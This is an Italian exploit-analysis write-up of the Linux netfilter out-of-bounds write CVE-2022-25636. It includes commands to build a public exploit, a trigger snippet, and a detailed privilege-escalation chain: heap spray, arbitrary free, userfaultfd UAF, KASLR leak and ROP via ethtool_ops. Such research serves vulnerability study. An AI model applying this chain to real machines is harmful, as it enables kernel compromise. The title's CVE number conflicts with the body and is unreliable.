
Analisi di CVE-2022-0185
[toc]
ID vulnerabilità: CVE-2022-25636
Prodotto vulnerabile: linux kernel - netfilter
Versioni interessate: linux kernel 5.4 ~
Impatto: scrittura heap out-of-bounds nel modulo kernel netfilter, può portare a escalation dei privilegi se si dispone di CAP_SYS_ADMIN.
La vulnerabilità si trova nel modulo kernel netfilter, il codice vulnerabile è presente in 3 file .ko.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
Avviare direttamente con qemu ha problemi, i .ko non vengono caricati. Si utilizza debug a due macchine con vmware.
ubuntu 21.10 può sostituire manualmente il kernel:
apt-get install linux-image-5.13.0-30-generic
Quindi eliminare il kernel originale e compilare l'exploit:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
Risultato dell'escalation (successo inferiore al 50%):

La funzione interessata è nft_fwd_dup_netdev_offload:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
Durante l'impostazione di flow->rule->action.entries (una struttura a lunghezza variabile) non viene eseguito il controllo dei limiti dell'heap, portando a scrivere out-of-bounds un intero (4 o 5) e un puntatore.
La funzione viene utilizzata in nft_flow_rule_create:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
Si può vedere che la funzione nft_flow_rule_create alloca la struttura flow in base al numero di strutture rule passate dallo spazio utente e la elabora. Usa la variabile num_actions per contare, ma durante il conteggio considera solo le regole con il flag NFT_OFFLOAD_F_ACTION e alloca una struttura di dimensioni corrispondenti. Tuttavia, quando successivamente chiama offload, non usa num_actions per iterare, ma esegue lo stesso numero di iterazioni delle regole, senza più controllare il flag NFT_OFFLOAD_F_ACTION. In altre parole, quando ci sono regole senza il flag NFT_OFFLOAD_F_ACTION, il numero di chiamate a offload è maggiore del numero di elementi allocati in flow->rule->action.entries. Durante offload viene chiamata la funzione vulnerabile nft_fwd_dup_netdev_offload. Ogni chiamata incrementa , che è inizializzato a 0, e alla fine supera la dimensione dell'array , causando scrittura out-of-bounds.
Alcune strutture:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
Stack di chiamate:
Riferimento: https://www.openwall.com/lists/oss-security/2022/02/21/2
Questa email spiega come usare netfilter con le librerie C libmnl e libnftnl. Il punto principale per attivare la vulnerabilità è se la regola aggiunta ha il flag NFT_OFFLOAD_F_ACTION. Solo le regole aggiunte con nftnl_expr_alloc("immediate"); hanno il flag NFT_OFFLOAD_F_ACTION:
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
L'exploit non è molto stabile, ma la tecnica di sfruttamento è ingegnosa. La vulnerabilità scrive un puntatore non controllabile a un offset fisso out-of-bounds. Personalmente ritengo che la difficoltà di sfruttamento sia molto alta. Analizziamo brevemente la tecnica. Dal codice della vulnerabilità, ogni scrittura out-of-bounds può scrivere un intero (id, fisso a 4 o 5) e un puntatore (*dev), dove il puntatore punta a una struttura struct net_device. Qui ci concentriamo solo sulla scrittura del puntatore dev:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
··· ···
}
Riguardo alla struttura struct flow_rule, essendo una struttura a lunghezza variabile, l'intervallo di dimensioni che può allocare è cruciale per il successo dell'exploit.
Strutture correlate:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* each bit repesents presence of one key id */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {//大小0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
Per iniziare lo sfruttamento, bisogna prima divulgare l'indirizzo di *dev due volte. Poiché sono necessari due indirizzi dev diversi, uno viene divulgato nel processo corrente e l'altro in un processo figlio. Si usa msg_msg per la divulgazione (msg_msg tecnica ricapitolazione). Si spruzza (heap spray) messaggi di dimensione 0x1040. A causa della struttura di msg, viene diviso in due segmenti: il secondo segmento ha lunghezza 0x70, più il puntatore di testa, si alloca kmalloc-128. Quindi si rilascia un msg, liberando un kmalloc-128. Successivamente si usa una struttura flow_rule con una sola regola, anch'essa in kmalloc-128, sperando che occupi il kmalloc-128 appena liberato del secondo segmento di msg, formando la seguente disposizione di heap:

Dopo che flow_rule ha allocato la struttura msg_msgseg liberata, è probabile che sia adiacente ad altri msg_msgseg dello spray. In questo modo, una scrittura out-of-bounds scrive un puntatore heap net_device (puntatore dev) all'offset 0x8 oltre i limiti. Basta ricevere tutti i messaggi spruzzati per leggere questo puntatore heap, completando la divulgazione dell'indirizzo per lo sfruttamento successivo senza crash.
Successivamente si divulga kaslr per ottenere la base del kernel. Con lo stesso metodo, si usa msg_msg + spray, spruzzando un mucchio di msg in kmalloc-192, questa volta usando il primo segmento di msg_msg come target dello spray. Poi, come prima, se ne rilascia uno e si alloca flow_rule, cercando di ottenere la seguente disposizione di heap:

Questa volta si usa una struttura flow_rule con due regole, di dimensione 0xC0, in kmalloc-192. Se si scrive out-of-bounds 6 volte, si scrive un puntatore *dev all'offset 0x18 + 0x50*5, che corrisponde all'offset 0x28 del terzo kmalloc-192 sottostante. Se si tratta di una struttura msg_msg, è il puntatore security. Ora, se si rilascia questa struttura msg_msg usando la funzione msgrcv, verrà chiamata kfree per liberare la memoria puntata da security. Questo è un primitivo per liberare indirizzi arbitrari tramite msg_msg->security. Il codice correlato è:
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
··· ···
free_msg(msg);
··· ···
}
void free_msg(struct msg_msg *msg)
{
··· ···
security_msg_msg_free(msg);
··· ···
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security);
msg->security = NULL;
}
In questo modo, ricevendo i messaggi spruzzati, si libera il puntatore dev che abbiamo sovrascritto su security, cioè si libera la struttura net_device. Successivamente si usa setxattr + userfaulted per tentare di manomettere quel chunk di heap, completando un UAF. setxattr può allocare heap kernel di dimensioni arbitrarie, scrivere dati arbitrari e poi liberarlo. È una tecnica comune nello sfruttamento delle vulnerabilità del kernel.
Poiché nel kernel ci sono molti kmalloc-192 liberi, usare una sola volta setxattr non è sufficiente. Quindi si usano più thread che chiamano setxattr contemporaneamente, sfruttando userfaulted per aumentare i tempi di chiamata e occupare i chunk più a lungo, cercando di allocare più heap kernel e di ottenere la struttura net_device appena liberata. Una volta ottenuta, si può modificare il contenuto della struttura net_device: si modifica il puntatore dev_addr con il puntatore netdev_ops, poiché netdev_ops è inizializzato a loopback_ops, e si modificano alcuni campi come il nome per verificare se la modifica è riuscita:
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
Quindi, chiamando ioctl su un socket con SIOCGIFHWADDR per leggere l'indirizzo hardware, si può leggere l'indirizzo di loopback_ops, completando la divulgazione. Ecco alcuni membri utili di net_device:
struct net_device {
char name[IFNAMSIZ]; //修改name判断是否改正确
··· ···
const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
int ifindex;
·· ···
const struct ethtool_ops *ethtool_ops; //用于劫持rip
··· ···
unsigned char addr_len; //用于读取地址长度
··· ···
unsigned char *dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};
Con lo stesso metodo, si usa setxattr + userfaulted per completare un UAF. Ora che abbiamo l'indirizzo del kernel, modifichiamo direttamente ethtool_ops di net_device per dirottare eip. Successivamente, usando ioctl su un socket con SIOCETHTOOL, verrà chiamata una funzione in ethtool_ops, dirottando rip, quindi si esegue ROP. È stato riprodotto con successo su ubuntu 21.10 kernel 13.0-30:
exp:https://github.com/Bonfee/CVE-2022-25636

Email: https://www.openwall.com/lists/oss-security/2022/02/21/2
Documento dell'autore: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/
ctx->num_actionsctx->num_actionsflow->rule->action.entries